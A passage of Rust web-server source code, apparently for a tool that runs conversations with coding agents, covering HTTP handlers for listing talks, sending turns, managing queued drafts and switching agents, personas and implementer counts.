8859 tasks: Vec<TaskView>,
8860 task_progress: TalkTaskProgress,
8861 roster: Vec<RosterEntry>,
8864 personas: Vec<PersonaEntry>,
8867}
8868
8869#[derive(Debug, Serialize)]
8871struct TalkTaskProgress {
8872 state: &'static str,
8873 total: usize,
8874 done: usize,
8875 counts: std::collections::BTreeMap<&'static str, usize>,
8876 unfinished_ids: Vec<String>,
8877}
8878
8879fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
8880 let mut counts = std::collections::BTreeMap::from([
8881 ("queued", 0),
8882 ("running", 0),
8883 ("done", 0),
8884 ("failed", 0),
8885 ("held", 0),
8886 ("blocked", 0),
8887 ("parked", 0),
8888 ]);
8889 let mut unfinished_ids = Vec::new();
8890 for task in tasks {
8891 *counts.entry(task.status.as_str()).or_default() += 1;
8892 if task.status != TaskStatus::Done {
8893 unfinished_ids.push(task.id.clone());
8894 }
8895 }
8896 TalkTaskProgress {
8897 state: if tasks.is_empty() {
8898 "none"
8899 } else if unfinished_ids.is_empty() {
8900 "complete"
8901 } else {
8902 "incomplete"
8903 },
8904 total: tasks.len(),
8905 done: tasks.len() - unfinished_ids.len(),
8906 counts,
8907 unfinished_ids,
8908 }
8909}
8910
8911#[derive(Debug, Serialize)]
8913struct PersonaEntry {
8914 id: String,
8915 name: String,
8916 avatar: String,
8918}
8919
8920#[derive(Debug, Serialize)]
8922struct RosterEntry {
8923 id: String,
8924 kind: AgentKind,
8925 runnable: bool,
8927}
8928
8929async fn talks_list(
8931 State(ui): State<Arc<Ui>>,
8932 Query(q): Query<ListQuery>,
8933 headers: header::HeaderMap,
8934) -> ApiResult<Json<Vec<TalkListView>>> {
8935 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
8936 let limit = q.limit.unwrap_or(50).min(50);
8937 let ids = if let Some(ids) = q.ids {
8938 ids.split(',')
8939 .filter(|id| plain_record_id(id))
8940 .take(limit)
8941 .map(str::to_owned)
8942 .collect()
8943 } else {
8944 page_ids(&ui, true, PageQuery::default())?
8945 .0
8946 .into_iter()
8947 .take(limit.min(STORE_PAGE_SIZE))
8948 .collect()
8949 };
8950 Ok(Json(talk_rows(&ui, ids, &headers)))
8951 })
8952 .await
8953}
8954
8955#[derive(Debug, Default, Deserialize)]
8960#[serde(default)]
8961struct NewTalk {
8962 agent: Option<String>,
8963 repo: Option<PathBuf>,
8964 preferred_agent: Option<serde_json::Value>,
8968 persona: Option<serde_json::Value>,
8969 implementers: Option<serde_json::Value>,
8970}
8971
8972async fn talk_post(
8975 State(ui): State<Arc<Ui>>,
8976 body: std::result::Result<Json<NewTalk>, JsonRejection>,
8977) -> ApiResult<impl IntoResponse> {
8978 let body = match body {
8982 Ok(Json(body)) => body,
8983 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
8984 Err(e) => return Err(ApiError::bad_request(e.body_text())),
8985 };
8986 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
8987 let cfg = config_for(&repo).await?;
8988 let view = blocking(move || {
8989 let preferred = talk::Preferred {
8990 agent: body
8991 .preferred_agent
8992 .as_ref()
8993 .and_then(|v| v.as_str())
8994 .map(str::to_owned),
8995 persona: body
8996 .persona
8997 .as_ref()
8998 .and_then(|v| v.as_str())
8999 .map(str::to_owned),
9000 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
9001 };
9002 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
9003 let thinking = ui.is_thinking(&talk.id);
9004 Ok(TalkView::new(talk, thinking, &ui))
9005 })
9006 .await?;
9007 Ok((StatusCode::CREATED, Json(view)))
9008}
9009
9010async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
9012 bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
9014 let id = resolve_talk(&ui.talks, &id)?;
9015 let talk = ui.talks.get(&id)?;
9016 let thinking = ui.is_thinking_observed(&id);
9017 Ok(Json(TalkView::with_references(
9020 talk,
9021 thinking,
9022 None,
9023 &ui.home,
9024 &id_links::IdIndex::default(),
9025 )))
9026 })
9027 .await
9028}
9029
9030async fn talk_sections(
9031 State(ui): State<Arc<Ui>>,
9032 Path(id): Path<String>,
9033) -> ApiResult<Json<serde_json::Value>> {
9034 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9035 let id = resolve_talk(&ui.talks, &id)?;
9036 let talk = ui.talks.get(&id)?;
9037 let tasks = ui.find_tasks_for_talk(&talk.id)?;
9038 let task_progress = talk_task_progress(&tasks);
9039 let tasks: Vec<_> = tasks
9040 .into_iter()
9041 .map(|task| {
9042 serde_json::json!({
9043 "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9044 })
9045 })
9046 .collect();
9047 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9048 let roster: Vec<_> = cfg
9049 .as_ref()
9050 .map(|cfg| {
9051 cfg.agents
9052 .iter()
9053 .map(|a| RosterEntry {
9054 id: a.id.clone(),
9055 kind: a.kind,
9056 runnable: agent::installed(a),
9057 })
9058 .collect()
9059 })
9060 .unwrap_or_default();
9061 let specs = cfg
9062 .as_ref()
9063 .map(|cfg| cfg.talk.personas.clone())
9064 .unwrap_or_default();
9065 let personas: Vec<_> = persona::catalog(&specs)
9066 .into_iter()
9067 .map(|p| PersonaEntry {
9068 avatar: avatar_url(&ui.home, &talk.id, &p),
9069 id: p.id,
9070 name: p.name,
9071 })
9072 .collect();
9073 let active_persona = persona::find(&specs, &talk.persona)
9074 .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9075 let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9076 let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9077 Ok(Json(serde_json::json!({
9078 "tasks": tasks, "task_progress": task_progress,
9079 "roster": roster, "personas": personas,
9080 "context": talk::context_usage(&talk, cfg.as_ref()),
9081 "context_for": talk.updated_at,
9082 "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9083 "persona_name": persona_name,
9084 "persona_avatar": persona_avatar,
9085 })))
9086 })
9087 .await
9088}
9089
9090async fn talk_detail(
9092 State(ui): State<Arc<Ui>>,
9093 Path(id): Path<String>,
9094) -> ApiResult<Json<TalkDetailView>> {
9095 blocking(move || {
9096 let id = resolve_talk(&ui.talks, &id)?;
9097 let talk = ui.talks.get(&id)?;
9098 let thinking = ui.is_thinking_observed(&talk.id);
9099 let tasks = ui.find_tasks_for_talk(&talk.id)?;
9100 let task_progress = talk_task_progress(&tasks);
9101 let tasks = tasks.into_iter().map(TaskView::from).collect();
9102 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9103 let roster = cfg
9104 .as_ref()
9105 .map(|cfg| {
9106 cfg.agents
9107 .iter()
9108 .map(|a| RosterEntry {
9109 id: a.id.clone(),
9110 kind: a.kind,
9111 runnable: agent::installed(a),
9112 })
9113 .collect()
9114 })
9115 .unwrap_or_default();
9116 let specs = cfg
9117 .as_ref()
9118 .map(|cfg| cfg.talk.personas.clone())
9119 .unwrap_or_default();
9120 let personas = persona::catalog(&specs)
9121 .into_iter()
9122 .map(|p| PersonaEntry {
9123 avatar: avatar_url(&ui.home, &talk.id, &p),
9124 id: p.id,
9125 name: p.name,
9126 })
9127 .collect();
9128 Ok(Json(TalkDetailView {
9129 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9130 tasks,
9131 task_progress,
9132 roster,
9133 personas,
9134 }))
9135 })
9136 .await
9137}
9138
9139#[derive(Debug, Default, Deserialize)]
9145#[serde(default, deny_unknown_fields)]
9146struct NewTalkTurn {
9147 reply_to: Option<talk::ReplyTarget>,
9148 text: String,
9149 attachments: Vec<String>,
9150}
9151
9152#[derive(Debug, Deserialize)]
9153#[serde(deny_unknown_fields)]
9154struct EditTalkPending {
9155 #[serde(default)]
9156 message: Option<usize>,
9157 text: String,
9158 expected_text: String,
9159 expected_attachments: Vec<String>,
9160}
9161
9162#[derive(Debug, Deserialize)]
9163#[serde(deny_unknown_fields)]
9164struct ClearTalkPending {
9165 expected_text: String,
9166 expected_attachments: Vec<String>,
9167}
9168
9169async fn talk_say(
9181 State(ui): State<Arc<Ui>>,
9182 Path(id): Path<String>,
9183 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9184) -> ApiResult<(StatusCode, Json<TalkView>)> {
9185 let admission = ui.begin_admission()?;
9186 admitted(admission, async move {
9187 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9188 if body.text.trim().is_empty() && body.attachments.is_empty() {
9189 return Err(ApiError::bad_request("say something"));
9190 }
9191
9192 let id = {
9193 let ui = Arc::clone(&ui);
9194 let asked = id.clone();
9195 blocking(move || resolve_talk(&ui.talks, &asked)).await?
9196 };
9197 {
9201 let ui = Arc::clone(&ui);
9202 let id = id.clone();
9203 blocking(move || {
9204 let talk = ui.talks.get(&id)?;
9205 if !talk.status.open() {
9206 return Err(ApiError::conflict(format!(
9207 "talk {} is {} and takes no more turns",
9208 talk.short(),
9209 talk.status.as_str()
9210 )));
9211 }
9212 Ok(())
9213 })
9214 .await?;
9215 }
9216
9217 let attachments = {
9222 let ui = Arc::clone(&ui);
9223 let id = id.clone();
9224 let ids = body.attachments.clone();
9225 blocking(move || {
9226 ids.into_iter()
9227 .map(|att_id| {
9228 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9229 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9230 })
9231 })
9232 .collect::<ApiResult<Vec<talk::Attachment>>>()
9233 })
9234 .await?
9235 };
9236 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9237 .await.map_err(ApiError::from)?;
9238
9239 let start = {
9244 let ui = Arc::clone(&ui);
9245 let id = id.clone();
9246 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9247 };
9248 let turn_guard = match start {
9249 TalkTurnStart::Claimed(turn_guard) => turn_guard,
9250 TalkTurnStart::Pending => {
9251 return Err(ApiError::conflict(
9252 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9253 ));
9254 }
9255 TalkTurnStart::Foreign => {
9256 return Err(ApiError::conflict(
9257 "a turn is already running in another process; try again when it has finished",
9258 ));
9259 }
9260 TalkTurnStart::Busy => {
9261 let (tx, rx) = tokio::sync::oneshot::channel();
9277 tokio::spawn({
9278 let ui = Arc::clone(&ui);
9279 let id = id.clone();
9280 let said = body.text.clone();
9281 let reply_to = body.reply_to.clone();
9282 async move {
9283 let written = blocking({
9284 let ui = Arc::clone(&ui);
9285 let id = id.clone();
9286 move || {
9287 let mut talk = ui.talks.get(&id)?;
9288 #[cfg(test)]
9293 if let Some(gate) = ui
9294 .busy_queue_gate
9295 .lock()
9296 .unwrap_or_else(PoisonError::into_inner)
9297 .take()
9298 {
9299 let _ = gate.reached.send(());
9300 let _ = gate.release.recv();
9301 }
9302 if let Err(error) = talk::queue_reply(
9303 &mut talk,
9304 &ui.talks,
9305 &said,
9306 attachments,
9307 reply_to,
9308 ) {
9309 if let Ok(fresh) = ui.talks.get(&id) {
9310 if !fresh.status.open() {
9311 return Err(ApiError::conflict(format!(
9312 "talk {} is {} and takes no more turns",
9313 fresh.short(),
9314 fresh.status.as_str()
9315 )));
9316 }
9317 }
9318 return Err(
9319 if error.to_string().contains("invalid reply target") {
9320 ApiError::bad_request("invalid reply target")
9321 } else {
9322 ApiError::from(error)
9323 },
9324 );
9325 }
9326 let claim = match ui.begin_queued_talk_turn(&id)? {
9337 Some(turn_guard) => {
9338 let (cfg, _) = Config::discover(&talk.repo, None)?;
9339 Some((talk.clone(), cfg, turn_guard))
9340 }
9341 None => None,
9342 };
9343 let thinking = ui.is_thinking(&id);
9344 Ok((TalkView::new(talk, thinking, &ui), claim))
9345 }
9346 })
9347 .await;
9348 #[cfg(not(test))]
9349 {
9350 match written {
9351 Ok((view, reclaimed)) => {
9352 let launched = crate::consult::spawn_turn(&ui.talks, &id).await;
9353 drop(reclaimed);
9354 match launched {
9355 Ok(_) => { let _ = tx.send(Ok(view)); }
9356 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9357 }
9358 }
9359 Err(error) => { let _ = tx.send(Err(error)); }
9360 }
9361 }
9362 #[cfg(test)]
9363 {
9364 let (view, reclaimed) = match written {
9365 Ok(pair) => pair,
9366 Err(e) => {
9367 let _ = tx.send(Err(e));
9372 return;
9373 }
9374 };
9375 let _ = tx.send(Ok(view));
9378 if let Some((talk, cfg, turn_guard)) = reclaimed {
9379 let talks = ui.talks.clone();
9380 drain_loop(talk, talks, cfg, id, turn_guard).await;
9381 }
9382 }
9383 }
9384 });
9385 let view = rx
9386 .await
9387 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9388 return Ok((StatusCode::ACCEPTED, Json(view)));
9389 }
9390 };
9391
9392 let (talk, cfg) = {
9393 let ui = Arc::clone(&ui);
9394 let id = id.clone();
9395 blocking(move || {
9396 let talk = ui.talks.get(&id)?;
9397 let (cfg, _) = Config::discover(&talk.repo, None)?;
9398 Ok((talk, cfg))
9399 })
9400 .await?
9401 };
9402
9403 let talks = ui.talks.clone();
9404 let (tx, rx) = tokio::sync::oneshot::channel();
9419 tokio::spawn({
9420 #[cfg(test)]
9421 let ui = Arc::clone(&ui);
9422 let talks = talks.clone();
9423 let id = id.clone();
9424 let said = body.text.clone();
9425 let reply_to = body.reply_to.clone();
9426 let mut talk = talk.clone();
9427 async move {
9428 let recorded = blocking({
9429 let talks = talks.clone();
9430 move || {
9431 if let Err(error) =
9432 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9433 {
9434 if let Ok(fresh) = talks.get(&talk.id) {
9435 if !fresh.status.open() {
9436 return Err(ApiError::conflict(format!(
9437 "talk {} is {} and takes no more turns",
9438 fresh.short(),
9439 fresh.status.as_str()
9440 )));
9441 }
9442 }
9443 return Err(if error.to_string().contains("invalid reply target") {
9444 ApiError::bad_request("invalid reply target")
9445 } else {
9446 ApiError::from(error)
9447 });
9448 }
9449 Ok((said.trim().to_owned(), talk))
9455 }
9456 })
9457 .await;
9458 let (text, talk) = match recorded {
9459 Ok(pair) => pair,
9460 Err(e) => {
9461 let _ = tx.send(Err(e));
9465 return;
9466 }
9467 };
9468 #[cfg(not(test))]
9469 {
9470 let _ = (&cfg, &text);
9471 let result = crate::consult::spawn_recorded_turn(
9475 &talks, &id, talk.turns.len() - 1,
9476 ).await;
9477 drop(turn_guard);
9478 match result {
9479 Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9480 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9481 }
9482 }
9483 #[cfg(test)]
9484 {
9485 let queued = talk.clone();
9486 let mut talk = talk;
9487 let thinking = ui.is_thinking(&id);
9488 let _ = tx.send(Ok((queued, thinking)));
9491
9492 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9493 tracing::warn!("talk {id} turn failed: {e:#}");
9497 }
9498 drain_loop(talk, talks, cfg, id, turn_guard).await;
9501 }
9502 }
9503 });
9504
9505 let (queued, thinking) = rx
9506 .await
9507 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9508
9509 Ok((
9511 StatusCode::ACCEPTED,
9512 Json(TalkView::new(queued, thinking, &ui)),
9513 ))
9514 }).await
9515}
9516
9517async fn talk_pending_resume(
9521 State(ui): State<Arc<Ui>>,
9522 Path(id): Path<String>,
9523) -> ApiResult<(StatusCode, Json<TalkView>)> {
9524 let admission = ui.begin_admission()?;
9525 admitted(admission, async move {
9526 let id = {
9527 let ui = Arc::clone(&ui);
9528 let asked = id.clone();
9529 blocking(move || resolve_talk(&ui.talks, &asked)).await?
9530 };
9531 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9532 .await
9533 .map_err(ApiError::from)?;
9534 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9535 return Err(ApiError::conflict(
9536 "a talk turn is already running; the queued draft will be handled by it",
9537 ));
9538 };
9539 let (talk, cfg) = {
9540 let ui = Arc::clone(&ui);
9541 let id = id.clone();
9542 blocking(move || {
9543 let talk = ui.talks.get(&id)?;
9544 if !talk.status.open() {
9545 return Err(ApiError::conflict(format!(
9546 "talk {} is {} and takes no more turns",
9547 talk.short(),
9548 talk.status.as_str()
9549 )));
9550 }
9551 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9552 return Err(ApiError::conflict("there is no queued draft to resume"));
9553 }
9554 let (cfg, _) = Config::discover(&talk.repo, None)?;
9555 Ok((talk, cfg))
9556 })
9557 .await?
9558 };
9559 let view = TalkView::new(talk.clone(), true, &ui);
9560 let talks = ui.talks.clone();
9561 #[cfg(not(test))]
9562 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9563 #[cfg(test)]
9564 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9565 Ok((StatusCode::ACCEPTED, Json(view)))
9566 })
9567 .await
9568}
9569
9570#[cfg(not(test))]
9573async fn detach_talk_turn(
9574 _talk: Talk,
9575 talks: Talks,
9576 _cfg: Config,
9577 id: String,
9578 turn: TalkTurnGuard,
9579) -> ApiResult<()> {
9580 let launched = crate::consult::spawn_turn(&talks, &id).await;
9581 drop(turn);
9582 launched.map(|_| ()).map_err(ApiError::from)
9583}
9584
9585#[cfg(test)]
9586async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9587 drain_loop_started(talk, talks, cfg, id, turn, None).await;
9588}
9589
9590async fn settle_settings_turn(
9594 talk: Talk,
9595 talks: Talks,
9596 cfg: Config,
9597 id: String,
9598 turn: TalkTurnGuard,
9599 observed: u64,
9600) -> bool {
9601 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9602 let turns = Arc::clone(&turn.turns);
9603 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9604 if live.queued.get(&id).copied().unwrap_or(0) == observed {
9605 turn.release(&mut live);
9607 return false;
9608 }
9609 }
9610 let (started, settled) = tokio::sync::oneshot::channel();
9611 tokio::spawn(drain_loop_started(
9612 talk,
9613 talks,
9614 cfg,
9615 id,
9616 turn,
9617 Some(started),
9618 ));
9619 settled.await.unwrap_or(false)
9620}
9621
9622#[cfg(not(test))]
9623async fn drain_loop_started(
9624 talk: Talk,
9625 talks: Talks,
9626 _cfg: Config,
9627 id: String,
9628 turn: TalkTurnGuard,
9629 started: Option<tokio::sync::oneshot::Sender<bool>>,
9630) {
9631 let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9632 let running = if pending {
9633 match crate::consult::spawn_turn(&talks, &id).await {
9634 Ok(_) => true,
9635 Err(error) => {
9636 tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
9637 false
9638 }
9639 }
9640 } else {
9641 false
9642 };
9643 drop(turn);
9644 if let Some(started) = started {
9645 let _ = started.send(running);
9646 }
9647}
9648
9649#[cfg(test)]
9652async fn drain_loop_started(
9653 mut talk: Talk,
9654 talks: Talks,
9655 cfg: Config,
9656 id: String,
9657 turn: TalkTurnGuard,
9658 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
9659) {
9660 let live_set = Arc::clone(&turn.turns);
9661 let mut turn = Some(turn);
9669 loop {
9670 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
9671 tracing::warn!("talk {id} lost its turn lease; not draining further");
9674 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9675 if let Some(turn) = turn.take() {
9676 turn.release(&mut live);
9677 }
9678 break;
9679 }
9680 let observed = live_set
9684 .lock()
9685 .unwrap_or_else(PoisonError::into_inner)
9686 .queued
9687 .get(&id)
9688 .copied()
9689 .unwrap_or(0);
9690 let drained = blocking({
9691 let talks = talks.clone();
9692 move || {
9693 let result = talk::drain(&mut talk, &talks);
9694 Ok((talk, result))
9695 }
9696 })
9697 .await;
9698 let (next_talk, result) = match drained {
9699 Ok(drained) => drained,
9700 Err(e) => {
9701 tracing::warn!(
9702 status = %e.status,
9703 message = %e.message,
9704 "talk {id} could not start queued-text drain"
9705 );
9706 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9707 turn.take()
9708 .expect("held for the whole loop until released here")
9709 .release(&mut live);
9710 break;
9711 }
9712 };
9713 talk = next_talk;
9714 let drained = match result {
9715 Ok(Some(drained)) => drained,
9716 Ok(None) => {
9717 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9718 if live.queued.get(&id).copied().unwrap_or(0) != observed {
9719 continue;
9720 }
9721 turn.take()
9722 .expect("held for the whole loop until released here")
9723 .release(&mut live);
9724 break;
9725 }
9726 Err(e) => {
9727 tracing::warn!("talk {id} could not drain queued text: {e:#}");
9728 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9729 turn.take()
9730 .expect("held for the whole loop until released here")
9731 .release(&mut live);
9732 break;
9733 }
9734 };
9735 if let Some(started) = started.take() {
9736 let _ = started.send(true);
9737 }
9738 let responded = match turn.as_ref() {
9739 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
9740 None => Err(anyhow::anyhow!("the turn guard was released")),
9741 };
9742 if let Err(e) = responded {
9743 tracing::warn!("talk {id} turn failed: {e:#}");
9744 }
9745 }
9746 drop(turn);
9747 if let Some(started) = started {
9748 let _ = started.send(false);
9749 }
9750}
9751
9752async fn talk_pending_clear(
9754 State(ui): State<Arc<Ui>>,
9755 Path(id): Path<String>,
9756 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9757) -> ApiResult<Json<TalkView>> {
9758 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9759 blocking(move || {
9760 let id = resolve_talk(&ui.talks, &id)?;
9761 let mut talk = ui.talks.get(&id)?;
9762 if !talk.status.open() {
9763 return Err(ApiError::conflict(format!(
9764 "talk {} is {} and takes no more turns",
9765 talk.short(),
9766 talk.status.as_str()
9767 )));
9768 }
9769 if !talk::clear_pending_if_matches(
9770 &mut talk,
9771 &ui.talks,
9772 &body.expected_text,
9773 &body.expected_attachments,
9774 )? {
9775 return Err(ApiError::conflict(
9776 "queued message changed; reload it before clearing",
9777 ));
9778 }
9779 let thinking = ui.is_thinking(&talk.id);
9780 Ok(Json(TalkView::new(talk, thinking, &ui)))
9781 })
9782 .await
9783}
9784
9785async fn talk_pending_edit(
9789 State(ui): State<Arc<Ui>>,
9790 Path(id): Path<String>,
9791 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9792) -> ApiResult<Json<TalkView>> {
9793 let admission = ui.begin_admission()?;
9794 admitted(admission, async move {
9795 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9796 let id = {
9797 let ui = Arc::clone(&ui);
9798 blocking(move || resolve_talk(&ui.talks, &id)).await?
9799 };
9800 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9801 .await
9802 .map_err(ApiError::from)?;
9803 let (view, reclaimed) = blocking({
9804 let ui = Arc::clone(&ui);
9805 move || {
9806 let mut talk = ui.talks.get(&id)?;
9807 if !talk.status.open() {
9808 return Err(ApiError::conflict(format!(
9809 "talk {} is {} and takes no more turns",
9810 talk.short(),
9811 talk.status.as_str()
9812 )));
9813 }
9814 if !talk::edit_pending_message(
9815 &mut talk,
9816 &ui.talks,
9817 &body.text,
9818 &body.expected_text,
9819 &body.expected_attachments,
9820 body.message,
9821 )? {
9822 return Err(ApiError::conflict(
9823 "queued message changed; reload it before editing",
9824 ));
9825 }
9826 let claim = match ui.begin_queued_talk_turn(&id)? {
9827 Some(turn_guard) => {
9828 let (cfg, _) = Config::discover(&talk.repo, None)?;
9829 Some((talk.clone(), cfg, id.clone(), turn_guard))
9830 }
9831 None => None,
9832 };
9833 let thinking = ui.is_thinking(&id);
9834 Ok((TalkView::new(talk, thinking, &ui), claim))
9835 }
9836 })
9837 .await?;
9838 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
9839 let talks = ui.talks.clone();
9840 #[cfg(not(test))]
9841 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9842 #[cfg(test)]
9843 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9844 }
9845 Ok(Json(view))
9846 })
9847 .await
9848}
9849
9850fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
9852 if talk.status.open() {
9853 return Ok(());
9854 }
9855 Err(ApiError::conflict(format!(
9856 "talk {} is {} and takes no more turns",
9857 talk.short(),
9858 talk.status.as_str()
9859 )))
9860}
9861
9862#[derive(Debug, Deserialize)]
9864struct TalkAgent {
9865 agent: String,
9866}
9867
9868async fn talk_agent(
9873 State(ui): State<Arc<Ui>>,
9874 Path(id): Path<String>,
9875 Json(body): Json<TalkAgent>,
9876) -> ApiResult<Json<TalkView>> {
9877 let admission = ui.begin_admission()?;
9878 admitted(admission, async move {
9879 let id = {
9880 let ui = Arc::clone(&ui);
9881 blocking(move || resolve_talk(&ui.talks, &id)).await?
9882 };
9883 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9884 .await
9885 .map_err(ApiError::from)?;
9886 let repo = {
9887 let ui = Arc::clone(&ui);
9888 let id = id.clone();
9889 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9890 };
9891 let cfg = config_for(&repo).await?;
9892 {
9894 let ui = Arc::clone(&ui);
9895 let id = id.clone();
9896 let cfg = cfg.clone();
9897 let wanted = body.agent.clone();
9898 blocking(move || {
9899 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
9900 .map_err(ApiError::bad_request_from)?;
9901 refuse_if_closed(&ui.talks.get(&id)?)
9902 })
9903 .await?;
9904 }
9905 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9906 return Err(ApiError::conflict(
9907 "a talk turn is running; change the agent once it has answered",
9908 ));
9909 };
9910 let switched = {
9911 let ui = Arc::clone(&ui);
9912 let id = id.clone();
9913 let cfg = cfg.clone();
9914 blocking(move || {
9915 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
9916 .map_err(ApiError::bad_request_from)?;
9917 let mut talk = ui.talks.get(&id)?;
9918 if !talk.status.open() {
9919 return Err(ApiError::conflict(format!(
9920 "talk {} is {} and takes no more turns",
9921 talk.short(),
9922 talk.status.as_str()
9923 )));
9924 }
9925 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
9926 Ok(talk)
9927 })
9928 .await
9929 };
9930 let observed = ui.queued_generation(&id);
9935 let fresh = {
9936 let ui = Arc::clone(&ui);
9937 let id = id.clone();
9938 blocking(move || Ok(ui.talks.get(&id)?)).await
9939 };
9940 let draining = match fresh {
9941 Ok(talk) => {
9942 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9943 }
9944 Err(_) => false,
9945 };
9946 let talk = switched?;
9947 Ok(Json(TalkView::new(talk, draining, &ui)))
9948 })
9949 .await
9950}
9951
9952#[derive(Debug, Deserialize)]
9954struct TalkPersona {
9955 persona: String,
9956}
9957
9958async fn talk_persona(
9962 State(ui): State<Arc<Ui>>,
9963 Path(id): Path<String>,
9964 Json(body): Json<TalkPersona>,
9965) -> ApiResult<Json<TalkView>> {
9966 let admission = ui.begin_admission()?;
9967 admitted(admission, async move {
9968 let id = {
9969 let ui = Arc::clone(&ui);
9970 blocking(move || resolve_talk(&ui.talks, &id)).await?
9971 };
9972 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9973 .await
9974 .map_err(ApiError::from)?;
9975 let repo = {
9976 let ui = Arc::clone(&ui);
9977 let id = id.clone();
9978 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9979 };
9980 let cfg = config_for(&repo).await?;
9981 {
9983 let ui = Arc::clone(&ui);
9984 let id = id.clone();
9985 let cfg = cfg.clone();
9986 let wanted = body.persona.clone();
9987 blocking(move || {
9988 if persona::find(&cfg.talk.personas, &wanted).is_none() {
9989 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
9990 }
9991 refuse_if_closed(&ui.talks.get(&id)?)
9992 })
9993 .await?;
9994 }
9995 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9996 return Err(ApiError::conflict(
9997 "a talk turn is running; change the persona once it has answered",
9998 ));
9999 };
10000 let switched = {
10001 let ui = Arc::clone(&ui);
10002 let id = id.clone();
10003 let cfg = cfg.clone();
10004 blocking(move || {
10005 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
10006 return Err(ApiError::bad_request(format!(
10007 "unknown persona `{}`",
10008 body.persona
10009 )));
10010 };
10011 let mut talk = ui.talks.get(&id)?;
10012 if !talk.status.open() {
10013 return Err(ApiError::conflict(format!(
10014 "talk {} is {} and takes no more turns",
10015 talk.short(),
10016 talk.status.as_str()
10017 )));
10018 }
10019 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
10020 Ok(talk)
10021 })
10022 .await
10023 };
10024 let observed = ui.queued_generation(&id);
10026 let fresh = {
10027 let ui = Arc::clone(&ui);
10028 let id = id.clone();
10029 blocking(move || Ok(ui.talks.get(&id)?)).await
10030 };
10031 let draining = match fresh {
10032 Ok(talk) => {
10033 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10034 }
10035 Err(_) => false,
10036 };
10037 let talk = switched?;
10038 Ok(Json(TalkView::new(talk, draining, &ui)))
10039 })
10040 .await
10041}
10042
10043#[derive(Debug, Deserialize)]
10045struct TalkImplementers {
10046 implementers: u8,
10047}
10048
10049async fn talk_implementers(
10053 State(ui): State<Arc<Ui>>,
10054 Path(id): Path<String>,
10055 Json(body): Json<TalkImplementers>,
10056) -> ApiResult<Json<TalkView>> {
10057 let admission = ui.begin_admission()?;
10058 admitted(admission, async move {
10059 let id = {
10060 let ui = Arc::clone(&ui);
